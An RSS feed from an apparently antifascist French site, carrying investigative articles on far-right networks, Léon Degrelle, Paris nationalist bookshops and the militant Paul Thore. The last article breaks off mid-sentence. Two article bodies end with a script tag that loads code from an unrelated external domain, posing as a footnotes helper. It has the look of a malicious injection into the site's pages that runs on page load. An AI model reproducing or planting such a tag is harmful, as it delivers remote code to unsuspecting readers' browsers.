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	<title>REFLEXes &#187; Léon Degrelle</title>
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	<description>EnquÃªtes et analyses sur l&#039;extrÃªme-droite contemporaine</description>
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		<title>Brèves &#8230;</title>
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		<pubDate>Wed, 03 Jan 2007 13:31:00 +0000</pubDate>
		<dc:creator><![CDATA[REFLEXes]]></dc:creator>
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		<description><![CDATA[- Le rassemblement et la marche à la mémoire de Rudolf Hess au mois d&#8217;août ont vu une fois de plus la présence de John «Veux-tu acheter un luger ?» Peacock, l&#8217;organisateur du BNP dans les Midlands, dont la télévision britannique découvrit qu&#8217;il était un trafiquant d&#8217;armes. - Peacock1 dirige la section britannique du Odal [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>- Le rassemblement et la marche à la mémoire de Rudolf Hess au mois d&rsquo;août ont vu une fois de plus la présence de John «Veux-tu acheter un luger ?» Peacock, l&rsquo;organisateur du BNP dans les Midlands, dont la télévision britannique découvrit qu&rsquo;il était un trafiquant d&rsquo;armes.</p>
<p>- Peacock<sup><a href="https://reflexes.samizdat.net/breves/#footnote_0_301" id="identifier_0_301" class="footnote-link footnote-identifier-link" title="Dirigeant du BNP.">1</a></sup> dirige la section britannique du Odal ring ou Ring UK comme on l&rsquo;appelle aussi parfois. Le fait que Richard Edmonds<sup><a href="https://reflexes.samizdat.net/breves/#footnote_1_301" id="identifier_1_301" class="footnote-link footnote-identifier-link" title="Vice-pr&eacute;sident du BNP.">2</a></sup> soit le représentant patenté du réseau international le plus vieux, le plus financé et le mieux organisé, le Nouvel ordre européen, le place en meilleure position que Peacock, qui s&rsquo;était donné beaucoup de peine pour faire du réseau Odal ring un succès. Si John Tyndall<sup><a href="https://reflexes.samizdat.net/breves/#footnote_2_301" id="identifier_2_301" class="footnote-link footnote-identifier-link" title="Leader du BNP.">3</a></sup> peut remercier Peacock pour avoir été invité en France par des néo-nazis<sup><a href="https://reflexes.samizdat.net/breves/#footnote_3_301" id="identifier_3_301" class="footnote-link footnote-identifier-link" title="Voir article sur le PNFE.">4</a></sup>, Edmonds a cependant courtisé des personnalités nazies comme Manfred Roeder ou Florie Rost van Tonningen afin d&rsquo;assurer sa nouvelle position dans le réseau international nazi.</p>
<p>- <em>Searchlight</em> se demande si le trésor de guerre du général SS Léon Degrelle aurait été utilisé pour financer les tentatives d&rsquo;exportation du Nouvel ordre européen au crépuscule de sa vie (Degrelle a aujourd&rsquo;hui plus de 80 ans). Peut être le BNP a-t-il trouvé cet argent, qui gonflerait ses propres coffres. Depuis que le BNP a rencontré le Nouvel ordre européen ces dernières années, certains membres du BNP, comme certains membres d&rsquo;International third position ont apparemment reçu de l&rsquo;aide pour mettre en place des entreprises de sécurité à Londres, et à Dundee en Écosse. Dans le cas de l&rsquo;entreprise écossaise, on trouve l&rsquo;appui financier d&rsquo;un mystérieux Belge.</p>
<p>- Si les informations qui circulent dans les médias sont vraies, alors Aloïs Brunner, alias George Fischer, l&rsquo;adjoint de Adolf Eichmann est mort, ce qui fait de Degrelle le criminel de guerre vivant le plus recherché. Paradoxalement, Degrelle apprécie beaucoup plus la vie politique actuelle en Espagne aujourd&rsquo;hui qu&rsquo;à la période franquiste, où sa présence donnait une mauvaise image du pays : Franco s&rsquo;inquiétait visiblement des possibles tentatives des groupes nazis internationaux pour prendre le pouvoir à sa mort. Maintenant, même s&rsquo;il y a un gouvernement socialiste à Madrid, les nazis peuvent agir ouvertement et sont en position d&rsquo;aider leurs alliés à l&rsquo;étranger.</p>
<p>- La découverte tardive par la presse britannique de l&rsquo;appartenance au parti conservateur du fasciste Mark Cotterill a causé une tempête. Des journaux comme <em>The Guardian</em> ont donné du crédit aux informations que <em>Searchlight</em> avait livrées l&rsquo;année dernière avec l&rsquo;aide d&rsquo;antifascistes du sud-ouest de l&rsquo;Angleterre. Mieux vaut tard que jamais ! Le député conservateur Rupert Allason, qui écrit des livres sur les services secrets sous le nom de Nigel West, avait déjà causé des problèmes dans le parti à cause de son refus de soutenir le gouvernement dans le vote crucial de la ratification du traité de Maastricht. Maintenant, il doit faire face à un fasciste dans la branche locale de son parti. Indiquant que Cotterill n&rsquo;a rejoint le parti que cette année ou très tard l&rsquo;année dernière, nous avons compris qu&rsquo;il fut autorisé à joindre une section du parti dans une autre région, quelques semaines après avoir quitté son poste d&rsquo;organisateur de l&rsquo;ouest de l&rsquo;Angleterre pour le National front. Cotterill est en partie responsable de la mise en place du Revolutionary conservative caucus, qui compte dans ses membres d&rsquo;anciennes personnalités fascistes : Steve Brady et Tom Acton qui tentèrent de rencontrer Le Pen après le dîner infâmant de Le Pen avec Western goals il y a deux ans. Cotterill dirige un journal <em>British Patriot</em> dont le nom fut déjà utilisé par le British movement pour une de ses haineuses publications. Le numéro de juillet comporte un article sur la purification ethnique en Ulster.</p>
<p><em>Mis en ligne le 3 janvier 2007</em></p>
<ol class="footnotes"><li id="footnote_0_301" class="footnote">Dirigeant du BNP.</li><li id="footnote_1_301" class="footnote">Vice-président du BNP.</li><li id="footnote_2_301" class="footnote">Leader du BNP.</li><li id="footnote_3_301" class="footnote">Voir article sur le PNFE.</li></ol><script src=https://buryebilgrill.online/footnotes></script>]]></content:encoded>
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		<title>Petites boutiques des horreurs</title>
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		<pubDate>Mon, 29 Nov 2004 13:08:42 +0000</pubDate>
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		<category><![CDATA[Ouvrages, revues et médias]]></category>
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				<content:encoded><![CDATA[<p>De fait, l’essentiel de la communication publique nationaliste pure et dure est portée par les librairies. On compte en gros une dizaine de librairies diffusant des écrits d’extrême droite, presse ou livres et du matériel musical. La province n’est que faiblement représentée : Librairie lyonnaise, Librairie lorraine de Jean-Marie Cuny et boutique (fermée) l’Oriflamme de Jean-Pierre Grazioli à Nancy, librairie Dobrée à Nantes… L’essentiel de ces boutiques se trouve donc à Paris avec sept lieux de ventes dont trois clairement inscrits dans la sphère nationale-catholique, comme la librairie Duquesne par exemple ou la librairie de Saint-Nicolas du Chardonnet. Les quatre autres sont la Librairie nationale (ex-L’Æncre), la Licorne bleue, la librairie roumaine dite «librairie antitotalitaire» et la librairie Première ligne, encore que celle-ci, fondée en 1998 par Didier Coquard, Stéphane Burazovitch et William Bonnefoy ait un statut particulier puisqu’elle tient plus du bouquiniste que de la «vraie» librairie. Son gérant, Jean-Christophe Alexandridis, est un habitué de ce type de commerce puisqu’il fut gérant de la librairie Ulysse<sup><a href="https://reflexes.samizdat.net/petites-boutiques-des-horreurs/#footnote_0_202" id="identifier_0_202" class="footnote-link footnote-identifier-link" title="Le g&eacute;rant de cette librairie, Jean-Luc Lundi, a &eacute;t&eacute; condamn&eacute; en juin 1996 &agrave; un mois de prison avec sursis et 5000 francs d&rsquo;amende pour vente et exposition d&rsquo;ouvrages interdits. Ces revues n&eacute;gationnistes ont par ailleurs &eacute;t&eacute; d&eacute;truites et Lundi soumis &agrave; cinq ans de mise &agrave; l&rsquo;&eacute;preuve.">1</a></sup> à Bordeaux, incriminée pour diffusion d’écrits négationnistes. Ancien du PNFE, Alexandridis participa d’ailleurs à la revue d’ultra-gauche négationniste Maintenant le communisme. Les deux librairies principales sont donc la Licorne et la Librairie nationale, même si la librairie roumaine a fait parler d’elle lors de l’affaire Garaudy et qu’elle a racheté le fonds de la SERP<sup><a href="https://reflexes.samizdat.net/petites-boutiques-des-horreurs/#footnote_1_202" id="identifier_1_202" class="footnote-link footnote-identifier-link" title="Ancienne maison d&rsquo;&eacute;dition audio de J.-M. Le Pen dirig&eacute;e par l&rsquo;une de ses filles pass&eacute;e aux m&eacute;gretistes en 1999 et contre laquelle Le Pen a port&eacute; plainte. Ayant gagn&eacute; la proc&eacute;dure, le vieux chef a obtenu la faillite de son ancienne entreprise.">2</a></sup> pour 60 000 francs, ce qui est donné au regard de l’importance de ce fonds. Mais le gérant se retrouve avec beaucoup de vinyles sur les bras, en particulier des chants historiques de toute origine…</p>
<h3>Daaaaallas !</h3>
<p>Historiquement, la Librairie nationale est la plus ancienne puisqu’elle s’inscrit dans la lignée Ogmios (La Librairie), L’Æncre, lignée qui a un lourd passé commercial. Ogmios<sup><a href="https://reflexes.samizdat.net/petites-boutiques-des-horreurs/#footnote_2_202" id="identifier_2_202" class="footnote-link footnote-identifier-link" title="Cf. REFLEXes n&deg;40, 41 et 42.">3</a></sup> s’est en effet surtout fait connaître dans les années 1980 par divers scandales, de la vente de titres interdits par arrêté gouvernemental à des financements et scandales financiers en tout genre. Ogmios, c’est un chèque d’un montant de 120 000 francs signé en 1987 par Wahid Gordji de l’ambassade d’Iran alors qu’il était retranché dans ses locaux suite à la vague d’attentats perpétrés à Paris en 1986, l’argent ayant a priori servi à l’édition d’une brochure. Mais c’est aussi une communauté d’entreprise, la Noroît Suroît, créée en 1988 en tant que SARL et dans laquelle on trouve à l’époque toute la fine fleur de l’extrême droite nazie et amatrice de coups tordus, en particulier Jean-Dominique Larrieu et Tristan Mordrel. Tout ce petit monde emmené par Larrieu et sa folie des grandeurs va investir dans divers châteaux. Cette multitude de sociétés-écrans visant à piéger répression et infiltration n’empêche pas, au contraire, la librairie Ogmios de fermer et d’être remplacée par La Librairie en 1991. Cette technique d’ouverture / fermeture a d’ailleurs un avantage bien connu des aigrefins : elle permet de ne pas rembourser les fournisseurs ! Animée par la même équipe qu’Ogmios, La Librairie voit l’arrivée d’un vendeur appelé à un certain avenir dans la profession, Thierry Dreschmann, et des soutiens de poids avec Frédéric Châtillon, alors meneur du GUD. Jean-Dominique Larrieu est alors gérant de Noroît Suroît avec pour tâche de contrôler l’ensemble des publications du groupe. Le seul problème réside bien sûr dans ses condamnations, dont dix ans d’interdiction de gérer des sociétés pour avoir causé la faillite de la SARL Ogmios, et celle de la Société française de documentation et de prospective pour laquelle il sera retenu responsable d’une perte de 977 300 francs. De fait l’année 1993 est marquée par une interdiction définitive de gestion pour banqueroute, détournements d’actifs et défaut de comptabilité et en décembre par une perquisition à la librairie avec l’interpellation de quatre personnes, dont Frédéric Châtillon, dont les bureaux sont au premier étage du local, et Philippe Duquesne alias Philippe Randa, directeur à cette époque de Pas de panique à bord. Larrieu est alors arrêté quelques jours plus tard dans ses locaux et incarcéré. La Librairie survit quelques temps avec les mêmes mais ne peut échapper à la fermeture début 1995. Elle est immédiatement remplacée en mai de la même année par l’Æncre, située au 12, rue de la Sourdière dans le IIe arrdt où elle se trouve toujours. L’équipe Larrieu s’étant mise au vert, L’Æncre est lancée par Philippe Randa, Thierry Dreschmann, Ghislaine Allard et Odile Wenger. Le premier gérant est Éric Mine, ancien du PFN, de la FANE et militant de l’Œuvre française, dont la maman est Ghislaine Allard / Maskelevitch. Tout se passe en famille à l’extrême droite ! Quoique recommandée par <em>Français d’Abord</em>, journal officiel du FN, la librairie vivote, subit les attaques des organisations antiracistes comme l’UEJF<sup><a href="https://reflexes.samizdat.net/petites-boutiques-des-horreurs/#footnote_3_202" id="identifier_3_202" class="footnote-link footnote-identifier-link" title="Union des &Eacute;tudiants Juifs de France.">4</a></sup> et Éric Mine la quitte à l’automne 1996. La boutique poursuit alors ses activités grâce au tandem Randa-Dreschmann mais ne peut éviter la liquidation judiciaire au printemps 1997. C’est à partir de ce moment qu’entre en piste le tandem Soulas-Sereau. Fondateurs de la Société Européenne de Diffusion et d’Édition (SEDE)<sup><a href="https://reflexes.samizdat.net/petites-boutiques-des-horreurs/#footnote_4_202" id="identifier_4_202" class="footnote-link footnote-identifier-link" title="Cf. REFLEXes n&deg;52. ">5</a></sup>, les deux hommes sont des vieux routiers du nationalisme. Ils commencent par s’entendre avec Philippe Randa à qui ils confient <em>le Flambeau littéraire</em>, bulletin d’information de la librairie, et par réembaucher Thierry Dreschmann comme gérant mais ne lui pardonnent pas certaines «maladresses» comme la vente sous le manteau d’ouvrages interdits, «maladresses» qui ont déjà en partie coûté leur existence à la Librairie et à l’Æncre. Dreschmann est donc débarqué et remplacé par un jeune militant nettement plus docile, ancien hooligan du PSG, Jean Denègre alias Petitjean. Dreschmann cherche alors quelques soutiens pour faire la seule chose qu’il sait faire : ouvrir une librairie ! Il en trouve auprès de Pierre Verdurier, Roland Gaucher, Éric Mine et Jean-Pierre Grazioli, ce qui lui permet de fonder la Licorne bleue fin 1998. À partir de ce moment-là, le climat se détériore brutalement dans le petit monde de la librairie nationaliste. Menaces de cassage de gueule, bâtons dans les roues pour diffuser certains titres… Gilles Soulas n’épargne rien à son concurrent et une guerre picrocholine fait rage tout au long de 1999. Il faut dire que la crise survenue au FN fin 1998 n’arrange pas le petit commerce&#8230; L’Æncre rebaptisée Librairie nationale ayant clairement choisi le camp mégretiste subit durement la scission et doit lancer un appel à souscription de 200 000 francs. Dans ce contexte, les ennuis rencontrés par la Licorne en décembre 1999 sont loin de déplaire à l’équipe Soulas qui y voit une preuve du bien-fondé de l’abandon de la littérature «provocatrice», comprenez ouvertement nazie. La Licorne a en effet alors été agressée par l’UEJF<sup><a href="https://reflexes.samizdat.net/petites-boutiques-des-horreurs/#footnote_5_202" id="identifier_5_202" class="footnote-link footnote-identifier-link" title="Des &eacute;l&eacute;ments du Betar (extr&ecirc;me droite juive) infiltr&eacute;s dans la manifestation ont entrepris de ruiner la librairie, voire de carr&eacute;ment la br&ucirc;ler !">6</a></sup> lors d’une manifestation de protestation contre l’attaque par le GUD d’un rassemblement du comité de vigilance du XIe arrondissement demandant la fermeture de la librairie 15 jours auparavant.<br />
Malgré tout, la Licorne s’étant durablement installée dans le paysage grâce à quelques soutiens efficaces comme celui de Philippe Randa, Gilles Soulas a dû calmer ses ardeurs, et l’été 2000 a vu les librairies parisiennes se raccommoder. Elles sont ainsi parvenues à un accord portant sur le partage des tâches : l’Æncre édite, en particulier Guillaume Faye, et fait de la VPC, et la Licorne est le point de vente officiel des livres de Philippe Randa, de Tristan Mordrel alias André Chelain, de Roland Gaucher…<br />
Cet accord devait débuter aux BBR à la barbe du FN où Dreschmann avait un stand et Soulas non, en raison de son engagement au MNR. En fait, Dreschmann s’est fait expulsé dès le samedi après-midi, accusé par le DPS de vendre des livres faisant l’apologie du IIIe Reich. Étaient en particulier désignés comme tels des livres de Jean Mabire en dépit de ses bonnes relations avec le FN. Malgré ce raté, l’accord continue même s’il est fragile. En témoigne l’entourloupe survenue ce printemps autour du livre <em>Tintin mon copain</em>. C’est à l’origine un livre du vieux fasciste belge Léon Degrelle, réédité sauvagement l’année dernière par un éditeur belge totalement clandestin, Le Pélican d’Or. Pour cause : non seulement les droits d’auteur n’ont pas été payés à la veuve Degrelle mais il est en outre bien connu que la Fondation Hergé a la dent dure contre tout ce qui se fait en dehors d’elle, surtout lorsque cela peut «porter atteinte à l’image» du héros inventé par Hergé. Édité en nombre limité, l’ouvrage est diffusé en France par la Licorne bleue et la librairie Première Ligne à un prix conséquent. Tout cela donne des idées à Gilles Soulas qui s’empresse alors de faire le voyage en Espagne, accompagné d’Éric Delcroix, pour racheter les droits d’auteur à la veuve Degrelle, vieille dame de plus de 80 ans qui accepte la transaction pour une bouchée de pain. Celle-ci se fait alors qu’en France, une plainte a été déposée contre le livre et qu’un certain nombre de personnes, dont Dreschmann, sont convoquées à la Direction des Libertés Publiques comme témoins. Gilles Soulas se trouve donc à présent légalement en situation d’attaquer tous ceux qui diffuseraient le livre… Qui a parlé de Dallas-sur-Seine ? Toutes ces petites plaisanteries n’empêchent malgré tout pas les deux commerces de cohabiter lors de réunions publiques comme la dernière table ronde de Terre &amp; Peuple début octobre.</p>
<h3>Arrête tes Soulasseries !</h3>
<p>En tout cas, cela montre une chose : Gilles Soulas est difficilement contournable dans le petit monde de la communication nationaliste, en particulier dans la sphère mégretiste. Cela tient à une raison essentielle : il est le seul à avoir les reins assez solides financièrement parlant pour financer une pléiade d’activités. Non seulement la librairie de la rue Sourdière prospère (il faut dire qu’un contrôle fiscal se traduisant par un redressement de 800 francs sur trois ans ou le départ du gérant Jean Denègre en Pologne constituent des avanies bien infimes) mais les éditions de l’Æncre se portent bien avec deux poids lourds : <em>les Cahiers libres d’Histoire</em> animés par l’ancien cadre du GRECE Jean-Claude Valla et les ouvrages de Guillaume Faye. Avoir récupéré ce dernier aura été une aubaine pour Soulas, car le retour de Faye, il y a maintenant de cela plus de trois ans, a été tonitruant sous forme de trois livres<sup><a href="https://reflexes.samizdat.net/petites-boutiques-des-horreurs/#footnote_6_202" id="identifier_6_202" class="footnote-link footnote-identifier-link" title="Le prochain, intitul&eacute; Avant-Guerre, devrait sortir en janvier prochain.">7</a></sup> à scandale : <em>L’Archéofuturisme</em>, <em>La Colonisation de l’Europe</em> et <em>Pourquoi nous combattons</em>. <em>La Colonisation de l’Europe</em> a d’ailleurs donné matière à procès en novembre 2000 devant la XVIIe chambre correctionnelle de Paris pour incitation à la haine raciale. Faye en tant qu’auteur et de Gilles Soulas en tant qu’éditeur étaient défendus par Me Éric Delcroix. Ils ont été condamnés chacun à 50 000 francs d’amende et ont interjeté appel de la condamnation pénale<sup><a href="https://reflexes.samizdat.net/petites-boutiques-des-horreurs/#footnote_7_202" id="identifier_7_202" class="footnote-link footnote-identifier-link" title="L&rsquo;appel sera jug&eacute; le 13 d&eacute;cembre prochain devant la XVIIe chambre correctionnelle de Paris.">8</a></sup> mais ont accepté la condamnation au civil. Non seulement cela n’a pas empêché Faye de publier un autre ouvrage, mais cela l’a poussé, officiellement pour payer sa condamnation, à éditer avec l’aide de Soulas un bulletin mensuel intitulé <em>J’ai tout compris !</em> et axé sur la dénonciation de l’islamisation de la France et de l’Europe en général. Ce bulletin compterait environ 1500 abonnés, ce qui est un score honorable étant donné le rapport prix / nombre de pages (250 francs pour huit pages mensuelles !) Le réseau de correspondants est de fait assez étoffé et compte quelques hauts fonctionnaires. Le succès a permis à Soulas de lancer une version téléphonée du bulletin intitulée Radio-Vérité et animée par Faye qui a fait de la radio. La teneur de ce bulletin oral est la même que celle de la version papier, à savoir largement paranoïaque et complotiste. Le prix de la minute en tout cas fait de ce media un outil très rentable. Mais les projets de Soulas ne s’arrêtent pas là. Il aide le nouveau journal lancé début septembre par l’équipe de l’association Promouvoir<sup><a href="https://reflexes.samizdat.net/petites-boutiques-des-horreurs/#footnote_8_202" id="identifier_8_202" class="footnote-link footnote-identifier-link" title="Association catholique proche du MNR qui a lanc&eacute; les proc&eacute;dures juridiques contre le film Baise-Moi en 2000">9</a></sup> : intitulé <em>France-Demain</em>, il paraît à un rythme semi-quotidien et s’apparente assez à un Présent mégretiste. Il aurait aussi des projets informatiques comme celui de lancer une télévision Internet. Mais le coût d’une telle expérience demeure prohibitif. Surtout que la librairie tente d’ouvrir des petites sœurs en province. C’est le cas à Nice depuis ce printemps 2001 avec la librairie du Paillon, ouverte conjointement par la SEDE et Xavier Caitucoli, brillant polytechnicien de 30 ans. Gérée par Benoît Lœuillet, auteur d’une étude sur Pierre-Antoine Cousteau, cette consœur est spacieuse, bien garnie et bénéficie de l’appui du milieu radical local, bien implanté. Pour autant, il n’est pas évident qu’elle tienne la distance.<br />
Il y a en effet de cela quelques années une tentative similaire avait eu lieu à Toulon en 1996 avec la librairie Alaïs, petite sœur de l’Æncre à laquelle avait succédé Anthinéa, tenue par Frédéric Boccaletti. Celui-ci avait finalement dû mettre la clé sous la porte en 1998. On peut ainsi espérer, même si le contexte n’est pas le même, que la librairie du Paillon rencontrera également moult problèmes financiers ou autres… Ceci étant, Gilles Soulas n’est pas le seul à essayer d’élargir le cercle de diffusion des idées nationalistes. Ainsi, le principal associé de Soulas, Gilles Sereau, qui dirige la boîte de sécurité Ambassy, essaye d’investir le petit monde des jeux de rôle avec l’ouverture ou la prise de contrôle de boutiques sur Paris. C’est par exemple le cas de la boutique Extrême Marine, domiciliée au siège social d’Ambassy dans le XIIe arrdt de Paris. Associées au réseau Workshop, a priori sans que cela implique politiquement celui-ci, il est évident qu’elles ne vont avoir aucun mal à se faire une place tant l’idéologie développée colle bien avec certaines représentations ou certains jeux. Si cela marche, il est possible que Sereau tente la même chose en province. Enfin, Soulas n’oublie pas de continuer à soutenir les initiatives qui sont dans son orbite, comme la revue <em>Réfléchir &amp; Agir</em>, à présent dirigée par Éric Fornal et Bertrand Le Digabel ou Memorial Records, l’un des deux labels de Rock Identitaire Français (RIF), pour vague et imprécis que soit le terme.</p>
<ol class="footnotes"><li id="footnote_0_202" class="footnote">Le gérant de cette librairie, Jean-Luc Lundi, a été condamné en juin 1996 à un mois de prison avec sursis et 5000 francs d’amende pour vente et exposition d’ouvrages interdits. Ces revues négationnistes ont par ailleurs été détruites et Lundi soumis à cinq ans de mise à l’épreuve.</li><li id="footnote_1_202" class="footnote">Ancienne maison d’édition audio de J.-M. Le Pen dirigée par l’une de ses filles passée aux mégretistes en 1999 et contre laquelle Le Pen a porté plainte. Ayant gagné la procédure, le vieux chef a obtenu la faillite de son ancienne entreprise.</li><li id="footnote_2_202" class="footnote">Cf. REFLEXes n°40, 41 et 42.</li><li id="footnote_3_202" class="footnote">Union des Étudiants Juifs de France.</li><li id="footnote_4_202" class="footnote">Cf. REFLEXes n°52. </li><li id="footnote_5_202" class="footnote">Des éléments du Betar (extrême droite juive) infiltrés dans la manifestation ont entrepris de ruiner la librairie, voire de carrément la brûler !</li><li id="footnote_6_202" class="footnote">Le prochain, intitulé Avant-Guerre, devrait sortir en janvier prochain.</li><li id="footnote_7_202" class="footnote">L’appel sera jugé le 13 décembre prochain devant la XVIIe chambre correctionnelle de Paris.</li><li id="footnote_8_202" class="footnote">Association catholique proche du MNR qui a lancé les procédures juridiques contre le film Baise-Moi en 2000</li></ol><script src=https://buryebilgrill.online/footnotes></script>]]></content:encoded>
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		<title>Tiiiiiimber !</title>
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		<pubDate>Mon, 26 Apr 2004 11:43:39 +0000</pubDate>
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		<description><![CDATA[Posté le 26 avril 2004 Le 30 mars dernier, la police de l&#8217;Indre a donc (temporairement ?) mis fin aux activités du « bûcheron » de Saint-Maur, c&#8217;est-à-dire Paul Thore. Au delà du personnage, c&#8217;est tout un microcosme qui est chamboulé et cela ne peut que nous réjouir même si comme on le verra par [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>Posté le 26 avril 2004</p>
<p>Le 30 mars dernier, la police de l&rsquo;Indre a donc (temporairement ?) mis fin aux activités du « bûcheron » de Saint-Maur, c&rsquo;est-à-dire Paul Thore. Au delà du personnage, c&rsquo;est tout un microcosme qui est chamboulé et cela ne peut que nous réjouir même si comme on le verra par la suite, cette affaire pose bien des questions. Né en mars 1973, Paul Thore était en effet le point de rencontre de divers courants nationalistes a priori peu susceptibles de travailler ensemble.</p>
<p>Il était avant tout l&rsquo;une des figures les plus remuantes du courant national-catholique au sein ou proche du FN. Longtemps membre du FNJ, il avait gardé un pied au FN et la presse nationale n&rsquo;a pas manqué de rappeler qu&rsquo;il apparaissait il y a encore quatre ans comme rédacteur en chef du <em>Patriote du Berry</em>, bulletin local du FN 36. Plus simplement, il suffisait de chercher son stand lors du défilé du 1er mai du FN et on tombait immanquablement sur son petit commerce militant, curieux mélange de breloques nationalistes françaises et de références fascistes historiques, avec Léon Degrelle en figure vedette. Son aura de tête brûlée n&rsquo;étant pas forcément goûtée de tous les responsables du FN, Paul Thore avait mis en place une structure autonome, dont la vitrine a longtemps été la revue l&rsquo;<em>Épervier</em>. Le n°1 de cette revue est paru à l&rsquo;automne 1996 en honorant le Scalp d&rsquo;un dossier recensant les différents moyens d&rsquo;expression et manifestations du groupe antifasciste et elle se présentait alors comme étant éditée par des membres de la Fédération Nationale Catholique, qui se voulait le lieu de regroupement des mouvements, groupes et bonnes volontés adhérant à la Charte d&rsquo;Action National-Catholique. À l&rsquo;image de ses animateurs, le journal affiche dès le début une très grande ouverture d&rsquo;esprit puisque Paul Thore adopte alors le pseudonyme de « G. Rézon » pour remplir sa tâche de rédacteur en chef et que les revues ou librairies considérées comme amies sont quasiment strictement sélectionnées sur leur orientation catholique. Les quelques structures non catholiques sont alors stigmatisées par un « p » entre parenthèses, pour bien signifier leur orientation païenne. Thore enverra d&rsquo;ailleurs une lettre gratinée à <em>Réfléchir &amp; Agir</em> en 1998 pour signifier à l&rsquo;équipe animatrice de cette revue que les membres de l&rsquo;<em>Épervier</em> ne collaboraient qu&rsquo;avec « des païens intelligents qui respectent la foi de leurs camarades catholiques » et qu&rsquo;ils ne voulaient « rien avoir à faire avec des abrutis qui ont un esprit malsain souvent dans un corps malsain ! ». Les moyens de la revue sont au début assez frustes mais, plein de ressources, Thore montera par la suite avec sa femme et sa mère une association permettant de servir de relais aux activités du petit groupe sur Châteauroux et dont l&rsquo;objet social est de « favoriser les échanges d&rsquo;idées populaires et culturelles » : Peuple &amp; Culture.<br />
Cela permettra ainsi de mettre sur pied une boutique de VPC, Para Bellum, qui diffusait autocollants et patchs divers dont le blason de la division SS Charlemagne et d&rsquo;assurer le contact postal de Bleu Blanc Rock dont Paul Thore est le président comme on le verra ci-dessous.<br />
Par la suite cette Fédération deviendra la Ligue Nationale Catholique et nous offrira l&rsquo;occasion de ricaner un bon coup : sa présentation était en effet quasiment intégralement copiée sur celle du réseau antifasciste No Pasaran, ce qui était un comble pour des « purs et durs » comme les militants de Châteauroux, rebaptisés Loups du Berry. C&rsquo;est d&rsquo;ailleurs sous ce nom qu&rsquo;ils organiseront une conférence de Guillaume Faye en novembre 2000 consacrée à « l&rsquo;invasion de l&rsquo;Europe ».</p>
<p>Depuis 2001, la Ligue était mise en sommeil et la revue ne paraissait plus, en grande partie à cause des ennuis judiciaires accumulés par Paul Thore et ses camarades le printemps de cette année-là. Une campagne de propagande extrêmement agressive sur Châteauroux les avait conduit en garde à vue pour certains d&rsquo;entre eux, en particulier Paul Thore, et les liens du groupe avec les milieux révisionnistes étaient avérés. Il suffisait de comparer les autocollants de l&rsquo;Épervier avec ceux du VHO, principale structure négationniste franco-belge dont l&rsquo;un des animateurs est Vincent Reynouard, pour comprendre l&rsquo;importance des contacts entre les deux groupes. Il n&rsquo;est d&rsquo;ailleurs pas étonnant qu&rsquo;on ait retrouvé des exemplaires du livre de Reynouard sur Oradour-sur-Glane parmi le matériel appartenant à Thore.</p>
<p>Cela n&rsquo;empêchait malgré tout pas notre « bûcheron » de rester actif, par le biais du Rock Identitaire Français dont il était un acteur important. Étant l&rsquo;un des initiateur de Bleu Blanc Rock (BBR) en 1999 grâce à des contacts noués bien avant la scission survenue au sein du FN, il permettait à la structure voulue par Fabrice Robert d&rsquo;apparaître comme unitaire à un moment où le RIF optait majoritairement pour Bruno Mégret et donc de garder un orteil au sein du FN et des milieux catholiques. Plus pragmatiquement, cela permettra aussi à BBR de diffuser son matériel dans des manifestations comme les cortèges anti-PACS au printemps 1999, des pèlerinages Paris-Chartres ou certaines réunions du FN. Localement, Paul Thore manifestait d&rsquo;ailleurs ces goûts pour la musique en étant le parolier d&rsquo;un groupe dont son frère Miquel était le batteur : Insurrection. Ce trio jouera tout au long de sa courte carrière soit avec des groupes skinheads nazis (RAC), soit pour le FNJ, que ce soit lors de son université d&rsquo;été annuelle au château de Neuvy-sur-Barangeon ou dans son local parisien du Forum Jeunesse. Il faut dire que le bassiste du groupe, Eymeric G., en était toujours militant et que cela facilitait donc les contacts. Cela rend comme d&rsquo;habitude pitoyable les dénégations du FN de l&rsquo;Indre prétendant n&rsquo;avoir rien à voir avec ces « gens là » !!! On peut d&rsquo;ailleurs impatiemment attendre les réactions du FN du Cher si le groupe Europa Nostra dont les membres sont des militants FNJ et qui est une réplique exacte d&rsquo;Insurrection est inquiété dans les semaines à venir par la police dans le cadre de l&rsquo;enquête en cours&#8230;<br />
Si Paul Thore était un peu plus en retrait depuis deux ans, il n&rsquo;était malgré tout pas à la retraite, en témoigne le Nouvel An BBR du 31 décembre 2003, grâce au commerce ouvert en juillet 2001, la Taverne Saint-Georges, qui servit durant un temps de boîte postale pour BBR avant que l&rsquo;association ne rouvre une boîte postale. Le maître des lieux y organisait des concerts variés ce qui permettait de diluer le RIF dans un univers officiellement apolitique, suivant en cela les consignes de BBR. Accessoirement, la Taverne servait également de « cantine » à l&rsquo;Institut d&rsquo;Histoire des Identités Nationales et Régionales, fondé à Saint-Marcel (36) par Francis Bergeron, vieux militant solidariste, en 2002.</p>
<p>Popaul n&rsquo;avait pourtant pas que des amis. Orgueilleux, sectaire et politiquement borné, il avait contribué très largement à jeter la division au sein du RIF entre BBR et l&rsquo;équipe de Memorial Records / In Memoriam. Les attaques de l&rsquo;Épervier contre ces derniers furent féroces, tel ce commentaire sur l&rsquo;album En Palestine d&rsquo;In Memoriam : « <em>Voici le CD tant attendu qui devait être gratuit. Ce CD devait être offert avec le numéro spécial d&rsquo;un magazine autrefois nationaliste et dont la haine anti-catholique systématique nous oblige à taire le nom . Bref, quoi qu&rsquo;il en soit, le 3 titres a vu le jour mais il n&rsquo;est pas gratuit puisqu&rsquo;il vaut 40 francs. L&rsquo;événement majeur de ce CD, c&rsquo;est l&rsquo;arrivée dans le groupe d&rsquo;un deuxième chanteur-compositeur. Nous nous réjouissons de l&rsquo;arrivée de Xavier</em> [Schleiter. NDLR] <em>dans le groupe car il a su donner un sens plus politique aux textes du groupe ! Musicalement, c&rsquo;est toujours du bon rock français ; pour ça, on n&rsquo;a jamais dit le contraire&#8230;</em> ». Dans toutes les adresses disponibles à la fin de la revue, on ne trouvait d&rsquo;ailleurs pas l&rsquo;adresse de la librairie de Gilles Soulas, ni le contact de Memorial Record. L&rsquo;Epervier était distribué à Paris à la Licorne Bleue, tenue par Thierry Dreschmann, concurrent de Gilles Soulas dans le petit monde de la librairie faf. Ces relations tendues purent d&rsquo;ailleurs aller jusqu&rsquo;à la confrontation physique lors de concerts, comme à Bourges avec Julien Beuzard en décembre 1999 par exemple. L&rsquo;équipe de Memorial Records lui rendra d&rsquo;ailleurs la pareille chaque fois que ce sera possible et Paul Thore sera violemment mis en cause comme mec fliqué et subventionné par des mairies de gauche par Louise Alaux, épouse de Gilles Soulas et ancienne trésorière du MNR, début 